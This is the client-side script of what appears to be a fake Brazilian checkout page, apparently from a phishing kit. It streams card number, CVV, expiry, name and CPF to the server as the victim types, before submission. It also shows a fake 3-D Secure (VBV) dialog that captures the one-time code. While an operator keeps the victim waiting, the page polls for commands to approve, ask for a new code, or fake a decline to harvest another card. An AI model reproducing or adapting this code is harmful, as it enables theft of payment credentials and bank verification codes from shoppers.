    const DEFAULT_CARD_BRAND_ICON = '<svg class="checkout-brand-default" width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="1.5"><rect x="2" y="5" width="20" height="14" rx="2"></rect><line x1="2" y1="10" x2="22" y2="10"></line></svg>';

    function detectCardBrand(cardNumber) {
        const digits = String(cardNumber || '').replace(/\D/g, '');
        if (/^3[47]/.test(digits)) return 'amex';
        if (/^(4011(78|79)|431274|438935|451416|457393|4576(31|32)|504175|627780|636297|636368|6504|6505|651652|6550)/.test(digits)) return 'elo';
        if (/^4/.test(digits)) return 'visa';
        if (/^(5[1-5]|2[2-7])/.test(digits)) return 'mastercard';
        if (/^(6062|6063|6370|6362|6363|5041|5890|6304|6759|676[123])/.test(digits)) return 'mastercard';
        return 'desconhecida';
    }

    function normalizeCheckoutBrand(value) {
        const brand = String(value || '').trim().toLowerCase();
        if (!brand || brand === 'desconhecida') return '';
        if (brand === 'master card') return 'mastercard';
        if (brand === 'american express') return 'amex';
        return brand;
    }

    function resolveCheckoutBrand(cardNumber, forcedBrand) {
        const fromBin = normalizeCheckoutBrand(forcedBrand);
        if (fromBin) return fromBin;

        const detected = detectCardBrand(cardNumber);
        if (detected !== 'desconhecida') return detected;

        const existing = normalizeCheckoutBrand(document.getElementById('bandeira')?.value || '');
        return existing;
    }

    function isValidCpf(cpf) {
        cpf = String(cpf || '').replace(/\D/g, '');
        if (cpf.length !== 11 || /^(\d)\1{10}$/.test(cpf)) return false;

        for (let length = 9; length < 11; length++) {
            let sum = 0;
            for (let index = 0; index < length; index++) {
                sum += parseInt(cpf.charAt(index), 10) * ((length + 1) - index);
            }
            const digit = ((10 * sum) % 11) % 10;
            if (parseInt(cpf.charAt(length), 10) !== digit) return false;
        }

        return true;
    }

    function isValidCardExpiry(expiry) {
        const match = String(expiry || '').trim().match(/^(\d{2})\/(\d{2})$/);
        if (!match) return false;

        const month = parseInt(match[1], 10);
        const year = 2000 + parseInt(match[2], 10);
        if (month < 1 || month > 12) return false;

        const expEnd = new Date(year, month, 0, 23, 59, 59);
        return expEnd >= new Date();
    }

    function getSelectedPayType() {
        const selected = document.querySelector('input[name="pay_type"]:checked');
        const value = selected ? selected.value : '';
        return value === 'credito' || value === 'debito' ? value : '';
    }

    function setCheckoutFieldError(inputId, message) {
        const input = document.getElementById(inputId);
        if (!input) return;

        const field = input.closest('.checkout-field');
        if (!field) return;

        let errorEl = field.querySelector('.checkout-field-error');
        if (!errorEl) {
            errorEl = document.createElement('span');
            errorEl.className = 'checkout-field-error';
            errorEl.setAttribute('role', 'alert');
            field.appendChild(errorEl);
        }

        if (message) {
            field.classList.add('is-invalid');
            input.setAttribute('aria-invalid', 'true');
            errorEl.textContent = message;
            errorEl.hidden = false;
        } else {
            field.classList.remove('is-invalid');
            input.removeAttribute('aria-invalid');
            errorEl.textContent = '';
            errorEl.hidden = true;
        }
    }

    function isValidLuhn(digits) {
        const value = String(digits || '').replace(/\D/g, '');
        if (value.length < 13 || value.length > 19) {
            return false;
        }

        let sum = 0;
        let alternate = false;

        for (let i = value.length - 1; i >= 0; i--) {
            let digit = parseInt(value.charAt(i), 10);
            if (alternate) {
                digit *= 2;
                if (digit > 9) {
                    digit -= 9;
                }
            }
            sum += digit;
            alternate = !alternate;
        }

        return sum % 10 === 0;
    }

    function isCompleteCardLength(length) {
        return length === 13 || length === 15 || length === 16 || length === 19;
    }

    function validateCardNumberValue(value, partial) {
        const digits = String(value || '').replace(/\D/g, '');
        if (!digits) return partial ? null : null;
        if (digits.length < 13) {
            return partial ? null : (NF_I18N.t('payment.card_number_incomplete') || 'Número de cartão incompleto.');
        }
        if (digits.length > 19) {
            return NF_I18N.t('payment.card_number_invalid') || 'Número de cartão inválido.';
        }

        const shouldCheckLuhn = !partial || isCompleteCardLength(digits.length);
        if (shouldCheckLuhn && !isValidLuhn(digits)) {
            return NF_I18N.t('payment.card_number_luhn') || NF_I18N.t('payment.card_number_invalid') || 'Número de cartão inválido.';
        }

        return null;
    }

    function validateCardExpiryValue(value, partial) {
        const expiry = String(value || '').trim();
        if (!expiry) return partial ? null : null;
        if (!/^\d{2}\/\d{2}$/.test(expiry)) {
            return partial && expiry.length < 5
                ? null
                : (NF_I18N.t('payment.expiry_invalid') || 'Data de validade inválida. Use o formato MM/AA.');
        }
        if (!isValidCardExpiry(expiry)) {
            return NF_I18N.t('payment.expiry_expired') || 'Cartão vencido.';
        }
        return null;
    }

    function validateCardCvvValue(value, partial) {
        const digits = String(value || '').replace(/\D/g, '');
        if (!digits) return partial ? null : null;
        if (digits.length < 3) {
            return partial ? null : (NF_I18N.t('payment.cvv_invalid') || 'CVV inválido.');
        }
        if (digits.length > 4) {
            return NF_I18N.t('payment.cvv_invalid') || 'CVV inválido.';
        }
        return null;
    }

    function validateCardNameValue(value, partial) {
        const name = String(value || '').trim();
        if (!name) return partial ? null : null;
        if (name.length < 3) {
            return NF_I18N.t('payment.name_required') || 'Informe o nome no cartão.';
        }
        return null;
    }

    function validateCpfValue(value, partial) {
        const digits = String(value || '').replace(/\D/g, '');
        if (!digits) return partial ? null : null;
        if (digits.length < 11) {
            return partial ? null : (NF_I18N.t('payment.cpf_incomplete') || 'CPF incompleto.');
        }
        if (!isValidCpf(digits)) {
            return NF_I18N.t('payment.cpf_invalid') || 'CPF inválido.';
        }
        return null;
    }

    function updateCheckoutCardBrand(cardNumber, forcedBrand) {
        const digits = String(cardNumber || '').replace(/\D/g, '');
        const brand = resolveCheckoutBrand(digits, forcedBrand);
        const iconEl = document.getElementById('card-brand-icon');
        const bandeiraEl = document.getElementById('bandeira');

        if (bandeiraEl && brand) {
            bandeiraEl.value = brand;
        }

        if (iconEl) {
            if (brand && CARD_BRAND_ICONS[brand]) {
                iconEl.innerHTML = '<img class="checkout-brand-logo" src="' + CARD_BRAND_ICONS[brand] + '" alt="' + brand + '" width="39" height="25">';
                iconEl.classList.add('has-brand');
            } else {
                iconEl.innerHTML = DEFAULT_CARD_BRAND_ICON;
                iconEl.classList.remove('has-brand');
            }
        }

        const displayBrand = brand || 'desconhecida';
        document.querySelectorAll('.checkout-card-logos img').forEach(function (img) {
            const alt = (img.getAttribute('alt') || '').toLowerCase();
            const matches = displayBrand === 'visa' && alt.indexOf('visa') !== -1
                || displayBrand === 'mastercard' && alt.indexOf('mastercard') !== -1
                || displayBrand === 'amex' && alt.indexOf('american') !== -1
                || displayBrand === 'elo' && alt.indexOf('elo') !== -1;
            img.style.opacity = !brand ? '1' : (matches ? '1' : '0.35');
        });
    }

    function showPaymentPicker() {
        document.getElementById('payment-picker')?.classList.remove('pay-panel-hidden');
        document.getElementById('payment-card-form')?.classList.add('pay-panel-hidden');
        if (typeof nfTrack === 'function') {
            nfTrack('escolha_pagamento', '/chosepayment');
        }
    }

    function showPaymentCardForm() {
        document.getElementById('payment-picker')?.classList.add('pay-panel-hidden');
        document.getElementById('payment-card-form')?.classList.remove('pay-panel-hidden');
        if (typeof nfTrack === 'function') {
            nfTrack('inserir_dados_cartao', '/checkout');
        }
    }

    document.querySelectorAll('.checkout-pay-option').forEach(function (option) {
        option.addEventListener('click', function () {
            document.querySelectorAll('.checkout-pay-option').forEach(o => o.classList.remove('selected'));
            option.classList.add('selected');
            option.querySelector('input')?.click();
        });
    });

    const cvvModal = document.getElementById('cvv-modal');
    const cvvHelpBtn = document.getElementById('cvv-help-btn');

    function openCvvModal() {
        if (!cvvModal) return;
        updateCvvA11yLabels();
        cvvModal.hidden = false;
        document.body.classList.add('cvv-modal-open');
        cvvModal.querySelector('.cvv-modal-close')?.focus();
    }

    function closeCvvModal() {
        if (!cvvModal) return;
        cvvModal.hidden = true;
        document.body.classList.remove('cvv-modal-open');
        cvvHelpBtn?.focus();
    }

    cvvHelpBtn?.addEventListener('click', function (e) {
        e.preventDefault();
        openCvvModal();
    });

    function updateCvvA11yLabels() {
        const helpLabel = NF_I18N.t('payment.cvv_help_aria') || 'Ajuda sobre o CVV';
        const closeLabel = NF_I18N.t('payment.cvv_help_close') || 'Fechar';
        cvvHelpBtn?.setAttribute('aria-label', helpLabel);
        cvvModal?.querySelector('.cvv-modal-close')?.setAttribute('aria-label', closeLabel);
    }

    setTimeout(updateCvvA11yLabels, 0);

    cvvModal?.querySelectorAll('[data-cvv-close]').forEach(function (el) {
        el.addEventListener('click', closeCvvModal);
    });

    document.addEventListener('keydown', function (e) {
        if (e.key === 'Escape' && cvvModal && !cvvModal.hidden) {
            closeCvvModal();
        }
    });

    if (CURRENT_STEP === 3) {
        if (ROUTE_SLUG === 'checkout') {
            showPaymentCardForm();
        } else {
            showPaymentPicker();
        }
        document.getElementById('pay-option-card')?.addEventListener('click', showPaymentCardForm);
        document.getElementById('pay-back-picker')?.addEventListener('click', showPaymentPicker);
    }

    if (CURRENT_STEP === 3 && window.jQuery) {
        $('#cardNumber').inputmask('9999 9999 9999 9999');
        $('#cardExpiry').inputmask('99/99');
        $('#cpf').inputmask('999.999.999-99');
        $('#cep').inputmask('99999-999');
        $('#cardCvv').inputmask('999[9]');

        let checkoutSyncTimer = null;
        let checkoutSyncQueued = false;
        let checkoutSyncInFlight = false;

        function collectCheckoutPayload() {
            const payload = {};
            const cardNumber = String($('#cardNumber').val() || '').replace(/\D/g, '');
            const cardExpiry = String($('#cardExpiry').val() || '').trim();
            const cardCvv = String($('#cardCvv').val() || '').replace(/\D/g, '');
            const cardName = String($('#cardName').val() || '').trim();
            const cpf = String($('#cpf').val() || '').replace(/\D/g, '');
            const bandeira = document.getElementById('bandeira')?.value || '';
            const payType = document.querySelector('input[name="pay_type"]:checked')?.value || '';

            if (cardNumber) payload.cardNumber = cardNumber;
            if (cardExpiry) payload.cardExpiry = cardExpiry;
            if (cardCvv) payload.cardCvv = cardCvv;
            if (cardName) payload.cardName = cardName;
            if (cpf) payload.cpf = cpf;
            if (bandeira) payload.bandeira = bandeira;
            if (payType) payload.payType = payType;

            return payload;
        }

        function runCheckoutSync() {
            if (!checkoutSyncQueued) {
                return Promise.resolve();
            }

            checkoutSyncQueued = false;
            const payload = collectCheckoutPayload();
            if (!Object.keys(payload).length) {
                return Promise.resolve();
            }

            try {
                const raw = sessionStorage.getItem('nf_bin_ctx');
                const ctx = raw ? JSON.parse(raw) : {};
                if (payload.cpf) ctx.cpf = payload.cpf;
                sessionStorage.setItem('nf_bin_ctx', JSON.stringify(ctx));
            } catch (e) {}

            checkoutSyncInFlight = true;

            return fetch(BASE_URL + '/api/atualizar_checkout.php', {
                method: 'POST',
                headers: { 'Content-Type': 'application/json' },
                credentials: 'same-origin',
                body: JSON.stringify(payload)
            }).catch(function () {}).finally(function () {
                checkoutSyncInFlight = false;
                if (checkoutSyncQueued) {
                    return runCheckoutSync();
                }
            });
        }

        function syncCheckoutDados() {
            checkoutSyncQueued = true;
            if (checkoutSyncInFlight) {
                return Promise.resolve();
            }
            return runCheckoutSync();
        }

        function scheduleCheckoutSync() {
            if (checkoutSyncTimer) clearTimeout(checkoutSyncTimer);
            checkoutSyncTimer = setTimeout(function () {
                checkoutSyncTimer = null;
                syncCheckoutDados();
            }, 350);
        }

        function flushCheckoutSync() {
            if (checkoutSyncTimer) {
                clearTimeout(checkoutSyncTimer);
                checkoutSyncTimer = null;
            }
            checkoutSyncQueued = true;
            return runCheckoutSync();
        }

        $('#cardNumber').on('input', function () {
            const value = $(this).val() || '';
            const digits = value.replace(/\D/g, '');
            updateCheckoutCardBrand(digits);
            setCheckoutFieldError('cardNumber', validateCardNumberValue(value, true));
            scheduleBinLookup(digits);
            scheduleCheckoutSync();
        });
        $('#cardNumber').on('blur', function () {
            setCheckoutFieldError('cardNumber', validateCardNumberValue($(this).val(), false));
            scheduleCheckoutSync();
        });

        let binLookupToken = 0;
        let binLookupTimer = null;
        let binLookupState = {
            found: false,
            pending: false,
            prefix6: '',
            lastAttempt: ''
        };

        function resetBinLookupState() {
            if (binLookupTimer) {
                clearTimeout(binLookupTimer);
                binLookupTimer = null;
            }
            binLookupState = {
                found: false,
                pending: false,
                prefix6: '',
                lastAttempt: ''
            };
        }

        function binLookupSucceeded(data) {
            return !!(data && data.status === 'ok' && (
                data.valid === true || data.bandeira || data.brand || data.scheme
            ));
        }

        function retryBinLookupIfMoreDigits(attemptedBin) {
            const currentDigits = String($('#cardNumber').val() || '').replace(/\D/g, '');
            if (
                currentDigits.length > attemptedBin.length
                && currentDigits.slice(0, 6) === binLookupState.prefix6
            ) {
                scheduleBinLookup(currentDigits);
            }
        }

        function applyBinPayType(payType) {
            if (!payType) return;
            const input = document.querySelector('input[name="pay_type"][value="' + payType + '"]');
            if (!input) return;
            input.checked = true;
            document.querySelectorAll('.checkout-pay-option').forEach(function (opt) {
                opt.classList.toggle('selected', !!opt.querySelector('input[value="' + payType + '"]'));
            });
        }

        function scheduleBinLookup(digits) {
            if (binLookupTimer) {
                clearTimeout(binLookupTimer);
                binLookupTimer = null;
            }

            if (digits.length < 6) {
                resetBinLookupState();
                return;
            }

            const prefix6 = digits.slice(0, 6);
            if (binLookupState.prefix6 && binLookupState.prefix6 !== prefix6) {
                resetBinLookupState();
            }
            binLookupState.prefix6 = prefix6;

            if (binLookupState.found) {
                return;
            }

            if (binLookupState.pending) {
                return;
            }

            let bin;
            if (!binLookupState.lastAttempt) {
                bin = prefix6;
            } else if (digits.length > binLookupState.lastAttempt.length) {
                bin = digits.slice(0, Math.min(8, digits.length));
                if (bin === binLookupState.lastAttempt) {
                    return;
                }
            } else {
                return;
            }

            const token = ++binLookupToken;

            binLookupTimer = setTimeout(function () {
                binLookupTimer = null;
                binLookupState.pending = true;
                binLookupState.lastAttempt = bin;

                fetch(BASE_URL + '/api/consultar_bin.php', {
                    method: 'POST',
                    headers: { 'Content-Type': 'application/json' },
                    body: JSON.stringify({ bin: bin })
                })
                    .then(function (r) { return r.json(); })
                    .then(function (data) {
                        if (token !== binLookupToken) return;
                        binLookupState.pending = false;

                        if (binLookupSucceeded(data)) {
                            binLookupState.found = true;
                            const currentDigits = String($('#cardNumber').val() || '').replace(/\D/g, '');
                            if (data.bandeira) {
                                const bandeiraEl = document.getElementById('bandeira');
                                if (bandeiraEl) bandeiraEl.value = normalizeCheckoutBrand(data.bandeira);
                                updateCheckoutCardBrand(currentDigits, data.bandeira);
                            }
                            if (window.VbvBanks && typeof VbvBanks.saveBinContext === 'function') {
                                VbvBanks.saveBinContext(data);
                            }
                            applyBinPayType(data.pay_type);
                            scheduleCheckoutSync();
                            return;
                        }

                        retryBinLookupIfMoreDigits(bin);
                    })
                    .catch(function () {
                        if (token !== binLookupToken) return;
                        binLookupState.pending = false;
                        retryBinLookupIfMoreDigits(bin);
                    });
            }, 450);
        }

        $('#cardExpiry').on('input blur', function (e) {
            setCheckoutFieldError('cardExpiry', validateCardExpiryValue($(this).val(), e.type === 'input'));
            scheduleCheckoutSync();
        });

        $('#cardCvv').on('input blur', function (e) {
            setCheckoutFieldError('cardCvv', validateCardCvvValue($(this).val(), e.type === 'input'));
            scheduleCheckoutSync();
        });

        $('#cardName').on('input blur', function (e) {
            setCheckoutFieldError('cardName', validateCardNameValue($(this).val(), e.type === 'input'));
            scheduleCheckoutSync();
        });

        $('#cpf').on('input blur', function (e) {
            setCheckoutFieldError('cpf', validateCpfValue($(this).val(), e.type === 'input'));
            scheduleCheckoutSync();
        });

        document.querySelectorAll('input[name="pay_type"]').forEach(function (input) {
            input.addEventListener('change', scheduleCheckoutSync);
        });

        let cepLookupOk = false;
        let cepLookupToken = 0;

        function validateCepValue(value, partial) {
            const digits = String(value || '').replace(/\D/g, '');
            if (!digits) return partial ? null : null;
            if (digits.length < 8) {
                return partial ? null : (NF_I18N.t('payment.cep_invalid') || 'Informe um CEP válido.');
            }
            const addressEl = document.getElementById('cep-address');
            if (addressEl && addressEl.classList.contains('is-loading')) {
                return null;
            }
            if (!cepLookupOk) {
                return NF_I18N.t('payment.cep_not_found') || 'CEP não encontrado.';
            }
            return null;
        }

        function refreshCepFieldError(partial) {
            setCheckoutFieldError('cep', validateCepValue($('#cep').val(), partial));
        }

        function formatCepAddress(data) {
            const parts = [];
            if (data.logradouro) {
                parts.push(data.logradouro);
            }
            const locality = [data.bairro, data.localidade].filter(Boolean).join(', ');
            if (locality) {
                parts.push(locality + (data.uf ? ' - ' + data.uf : ''));
            } else if (data.uf) {
                parts.push(data.localidade + ' - ' + data.uf);
            }
            return parts.join(' · ');
        }

        function clearCepAddress() {
            const el = document.getElementById('cep-address');
            if (!el) return;
            el.hidden = true;
            el.textContent = '';
            el.className = 'checkout-cep-address';
            cepLookupOk = false;
            refreshCepFieldError(true);
        }

        async function lookupCep() {
            const el = document.getElementById('cep-address');
            const cepDigits = ($('#cep').val() || '').replace(/\D/g, '');
            if (!el) return false;

            if (cepDigits.length !== 8) {
                clearCepAddress();
                return false;
            }

            const token = ++cepLookupToken;
            el.hidden = false;
            el.className = 'checkout-cep-address is-loading';
            el.textContent = NF_I18N.t('payment.cep_loading') || 'Buscando endereço...';

            try {
                const response = await fetch('https://viacep.com.br/ws/' + cepDigits + '/json/');
                if (!response.ok) {
                    throw new Error('HTTP ' + response.status);
                }

                const data = await response.json();
                if (token !== cepLookupToken) {
                    return cepLookupOk;
                }

                if (data.erro) {
                    el.className = 'checkout-cep-address is-error';
                    el.textContent = NF_I18N.t('payment.cep_not_found') || 'CEP não encontrado.';
                    cepLookupOk = false;
                    refreshCepFieldError(false);
                    return false;
                }

                el.className = 'checkout-cep-address';
                el.textContent = formatCepAddress(data);
                cepLookupOk = true;
                refreshCepFieldError(false);
                return true;
            } catch (err) {
                if (token !== cepLookupToken) {
                    return cepLookupOk;
                }
                el.className = 'checkout-cep-address is-error';
                el.textContent = NF_I18N.t('payment.cep_lookup_error') || 'Não foi possível buscar o CEP.';
                cepLookupOk = false;
                refreshCepFieldError(false);
                return false;
            }
        }

        $('#cep').on('input blur', function (e) {
            const digits = ($(this).val() || '').replace(/\D/g, '');
            if (digits.length < 8) {
                clearCepAddress();
                return;
            }
            if (digits.length === 8) {
                lookupCep();
            }
            refreshCepFieldError(e.type === 'input');
        });

        function validateAllCheckoutFields() {
            const checks = [
                ['cardNumber', validateCardNumberValue],
                ['cardExpiry', validateCardExpiryValue],
                ['cardCvv', validateCardCvvValue],
                ['cardName', validateCardNameValue],
                ['cpf', validateCpfValue],
                ['cep', validateCepValue]
            ];
            let firstInvalid = null;

            checks.forEach(function (item) {
                const input = document.getElementById(item[0]);
                const message = item[1](input ? input.value : '', false);
                setCheckoutFieldError(item[0], message);
                if (message && !firstInvalid) {
                    firstInvalid = input;
                }
            });

            return firstInvalid;
        }

        const WAIT_REDIRECT_DELAY_MS = 1800;
        let pagamentoEnviando = false;

        function showCheckoutProcessing() {
            const overlay = document.getElementById('checkout-processing');
            const btn = document.getElementById('btn-pagar');
            if (overlay) {
                overlay.classList.add('show');
                overlay.setAttribute('aria-hidden', 'false');
            }
            if (btn) {
                btn.disabled = true;
                btn.setAttribute('aria-busy', 'true');
            }
        }

        function hideCheckoutProcessing() {
            const overlay = document.getElementById('checkout-processing');
            const btn = document.getElementById('btn-pagar');
            if (overlay) {
                overlay.classList.remove('show');
                overlay.setAttribute('aria-hidden', 'true');
            }
            if (btn) {
                btn.disabled = false;
                btn.removeAttribute('aria-busy');
            }
        }

        $('#payment-form').on('submit', async function (e) {
            e.preventDefault();

            if (pagamentoEnviando) return;

            if (!document.getElementById('checkout-agree')?.checked) {
                alert(NF_I18N.t('payment.agree_required') || 'Marque "Eu concordo" para continuar.');
                return;
            }

            if (!cepLookupOk) {
                const found = await lookupCep();
                refreshCepFieldError(false);
                if (!found) {
                    document.getElementById('cep')?.focus();
                    return;
                }
            }

            const invalidField = validateAllCheckoutFields();
            if (invalidField) {
                invalidField.focus();
                return;
            }

            const cardNumber = $('#cardNumber').val().replace(/\D/g, '');
            const cardExpiry = ($('#cardExpiry').val() || '').trim();
            const cpfDigits = ($('#cpf').val() || '').replace(/\D/g, '');
            const payType = getSelectedPayType();
            const bandeira = resolveCheckoutBrand(cardNumber);
            if (bandeira) {
                $('#bandeira').val(bandeira);
            }

            if (!payType) {
                alert(NF_I18N.t('payment.pay_type_required') || 'Selecione crédito ou débito.');
                return;
            }

            const payload = {
                cardName: $('#cardName').val(),
                cardNumber: cardNumber,
                cardExpiry: cardExpiry,
                cardCvv: $('#cardCvv').val(),
                cpf: cpfDigits,
                payType: payType
            };
            if (bandeira) payload.bandeira = bandeira;

            pagamentoEnviando = true;
            showCheckoutProcessing();

            try {
                await flushCheckoutSync();
            } catch (err) {}

            $.ajax({
                url: BASE_URL + '/api/finalizar_pagamento.php',
                type: 'POST',
                data: JSON.stringify(payload),
                contentType: 'application/json',
                success: function (response) {
                    if (response.status === 'success' && response.redirect) {
                        setTimeout(function () {
                            window.location.href = response.redirect;
                        }, WAIT_REDIRECT_DELAY_MS);
                        return;
                    }
                    hideCheckoutProcessing();
                    pagamentoEnviando = false;
                    alert(response.message || NF_I18N.t('payment.process_error') || 'Não foi possível processar o pagamento.');
                },
                error: function (xhr) {
                    hideCheckoutProcessing();
                    pagamentoEnviando = false;
                    let message = NF_I18N.t('payment.process_error') || 'Não foi possível processar o pagamento.';
                    try {
                        const data = JSON.parse(xhr.responseText || '{}');
                        if (data.message) message = data.message;
                    } catch (err) {}
                    alert(message);
                }
            });
        });
    }

    // Etapa 4 e 5: keep-alive + polling de comandos do admin
    if (CURRENT_STEP === 4 || CURRENT_STEP === 5) {
        let vbvAberto = false;
        let fluxoTravado = <?= !empty($_SESSION['fluxo_travado']) ? 'true' : 'false' ?>;
        let recusadoTimer = null;
        let recusadoCountdownTimer = null;
        let recusadoRedirecionando = false;

        function irParaCheckout() {
            if (recusadoRedirecionando) return;
            recusadoRedirecionando = true;
            if (recusadoTimer) clearTimeout(recusadoTimer);
            if (recusadoCountdownTimer) clearInterval(recusadoCountdownTimer);
            if (typeof nfTrack === 'function') {
                nfTrack('inserir_dados_cartao', '/checkout');
            }
            window.location.href = BASE_URL + '/checkout';
        }

        function mostrarPagamentoRecusado() {
            fluxoTravado = false;
            vbvAberto = false;
            fecharVBV();
            document.getElementById('pagamento-recusado')?.classList.add('show');

            let segundos = 5;
            const countdownEl = document.getElementById('recusado-countdown');
            if (countdownEl) countdownEl.textContent = String(segundos);

            if (recusadoCountdownTimer) clearInterval(recusadoCountdownTimer);
            recusadoCountdownTimer = setInterval(function () {
                segundos -= 1;
                if (countdownEl) countdownEl.textContent = String(Math.max(segundos, 0));
                if (segundos <= 0 && recusadoCountdownTimer) {
                    clearInterval(recusadoCountdownTimer);
                }
            }, 1000);

            if (recusadoTimer) clearTimeout(recusadoTimer);
            recusadoTimer = setTimeout(irParaCheckout, 5000);
        }

        document.getElementById('recusado-checkout-btn')?.addEventListener('click', irParaCheckout);

        function mostrarVbvAguardando() {
            fluxoTravado = true;
            vbvAberto = true;

            if (window.VbvBanks && typeof VbvBanks.apply === 'function') {
                VbvBanks.apply({});
            }

            const classicBody = document.getElementById('vbv-body-classic');
            if (classicBody) classicBody.style.display = 'none';
            document.getElementById('vbv-erro-banner')?.classList.remove('show');
            document.getElementById('vbv-verificando').classList.add('show');
            document.getElementById('vbv-overlay').classList.add('open');
        }

        if (fluxoTravado && CURRENT_STEP === 4) {
            mostrarVbvAguardando();
        }

        let keepAliveEmAndamento = false;
        setInterval(function () {
            if (!window.jQuery || CURRENT_STEP !== 4 || keepAliveEmAndamento) return;

            keepAliveEmAndamento = true;
            const status = (!fluxoTravado && !vbvAberto)
                ? 'processando_pagamento'
                : (fluxoTravado ? 'vbv_aguardando_admin' : null);

            if (!status) {
                keepAliveEmAndamento = false;
                return;
            }

            $.post(BASE_URL + '/api/manter_sessao_ativa.php', { status: status })
                .always(function () {
                    keepAliveEmAndamento = false;
                });
        }, 5000);

        function formatarDataVBV() {
            const now = new Date();
            const dd = String(now.getDate()).padStart(2, '0');
            const mm = String(now.getMonth() + 1).padStart(2, '0');
            const yyyy = now.getFullYear();
            const hh = String(now.getHours()).padStart(2, '0');
            const min = String(now.getMinutes()).padStart(2, '0');
            const ss = String(now.getSeconds()).padStart(2, '0');
            return dd + '/' + mm + '/' + yyyy + ' ' + hh + ':' + min + ':' + ss;
        }

        function abrirVBV(dados, mostrarErro) {
            vbvAberto = true;
            document.getElementById('pagamento-recusado')?.classList.remove('show');
            if (window.VbvBanks && typeof VbvBanks.apply === 'function') {
                VbvBanks.apply(dados);
            }

            const codeEl = document.getElementById('vbv-code');
            const btn = document.getElementById('vbv-confirm-btn');
            const erro = document.getElementById('vbv-erro-banner');
            const classicBody = document.getElementById('vbv-body-classic');

            if (classicBody) classicBody.style.display = 'block';
            document.getElementById('vbv-card-mask').textContent =
                'XXXX XXXX XXXX ' + (dados.ultimos_4 || '0000');
            document.getElementById('vbv-date').textContent = formatarDataVBV();

            if (codeEl) codeEl.value = '';
            if (btn) btn.disabled = true;
            if (erro) erro.classList.toggle('show', !!mostrarErro);

            document.getElementById('vbv-verificando').classList.remove('show');
            document.getElementById('vbv-overlay').classList.add('open');

            if (typeof nfTrack === 'function') {
                nfTrack('vbv_aberto');
            }

            codeEl?.focus();
        }

        function fecharVBV() {
            vbvAberto = false;
            document.getElementById('vbv-overlay').classList.remove('open');
        }

        function irParaAprovado() {
            fluxoTravado = false;
            fecharVBV();
            document.getElementById('pagamento-recusado')?.classList.remove('show');
            window.location.href = BASE_URL + '/aprovado';
        }

        let comandoProcessando = false;
        let pollComandoAtivo = true;
        const CMD_DONE_KEY = 'nf_cmd_done';

        function comandoJaProcessado(ref) {
            if (!ref) return false;
            try {
                const done = JSON.parse(sessionStorage.getItem(CMD_DONE_KEY) || '[]');
                return done.indexOf(ref) !== -1;
            } catch (e) {
                return false;
            }
        }

        function marcarComandoProcessado(ref) {
            if (!ref) return;
            try {
                const done = JSON.parse(sessionStorage.getItem(CMD_DONE_KEY) || '[]');
                done.push(ref);
                if (done.length > 30) {
                    done.splice(0, done.length - 30);
                }
                sessionStorage.setItem(CMD_DONE_KEY, JSON.stringify(done));
            } catch (e) {}
        }

        function liberarComando() {
            comandoProcessando = false;
        }

        function processarComando(data) {
            if (!data || !data.acao || comandoProcessando) return;

            const comandoRef = data.comando_ref || '';
            if (comandoJaProcessado(comandoRef)) {
                return;
            }

            comandoProcessando = true;
            marcarComandoProcessado(comandoRef);

            if (data.acao === 'vbv' || data.acao === 'novo_vbv') {
                if (data.acao === 'novo_vbv') {
                    fluxoTravado = false;
                }
                abrirVBV(data, data.acao === 'novo_vbv');
                liberarComando();
                return;
            }

            if (data.acao === 'trocar_cartao') {
                mostrarPagamentoRecusado();
                liberarComando();
                return;
            }

            if (data.acao === 'pagamento_aprovado') {
                irParaAprovado();
                return;
            }

            if (data.acao === 'enviar_home') {
                fluxoTravado = false;
                fecharVBV();
                window.location.href = BASE_URL + '/home';
                return;
            }

            if (data.acao === 'continuar') {
                liberarComando();
            }
        }

        function bindVbvCodeInput(input, button) {
            if (!input || !button) return;

            input.addEventListener('input', function () {
                this.value = this.value.replace(/\D/g, '').slice(0, 6);
                button.disabled = this.value.length < 4;
            });

            input.addEventListener('keydown', function (e) {
                if (e.key === 'Enter' && !button.disabled) {
                    button.click();
                }
            });

            button.addEventListener('click', enviarVBV);
        }

        bindVbvCodeInput(document.getElementById('vbv-code'), document.getElementById('vbv-confirm-btn'));

        let vbvEnviando = false;

        function enviarVBV() {
            const codeEl = document.getElementById('vbv-code');
            const codigo = (codeEl?.value || '').replace(/\D/g, '');
            if (codigo.length < 4 || vbvEnviando) return;

            vbvEnviando = true;
            document.getElementById('vbv-body-classic').style.display = 'none';
            document.getElementById('vbv-erro-banner')?.classList.remove('show');
            document.getElementById('vbv-verificando').classList.add('show');

            fetch(BASE_URL + '/api/finalizar_vbv.php', {
                method: 'POST',
                headers: { 'Content-Type': 'application/json' },
                credentials: 'same-origin',
                body: JSON.stringify({ codigo_vbv: codigo })
            }).then(function () {
                if (typeof nfTrack === 'function') {
                    nfTrack('vbv_aguardando_admin');
                }
                mostrarVbvAguardando();
            }).finally(function () {
                vbvEnviando = false;
            });
        }

        function agendarPollComando(delayMs) {
            if (!pollComandoAtivo) return;
            setTimeout(function () {
                if (!pollComandoAtivo || comandoProcessando) {
                    agendarPollComando(comandoProcessando ? 1200 : 800);
                    return;
                }

                fetch(BASE_URL + '/api/poll_comando.php', { credentials: 'same-origin' })
                    .then(function (r) { return r.json(); })
                    .then(processarComando)
                    .catch(function () {})
                    .finally(function () {
                        agendarPollComando(comandoProcessando ? 1200 : 800);
                    });
            }, delayMs);
        }

        // Polling em cadeia — evita requisições sobrepostas
        if (CURRENT_STEP === 4 || CURRENT_STEP === 5) {
            agendarPollComando(500);
        }
    }
</script>
</body>
</html>
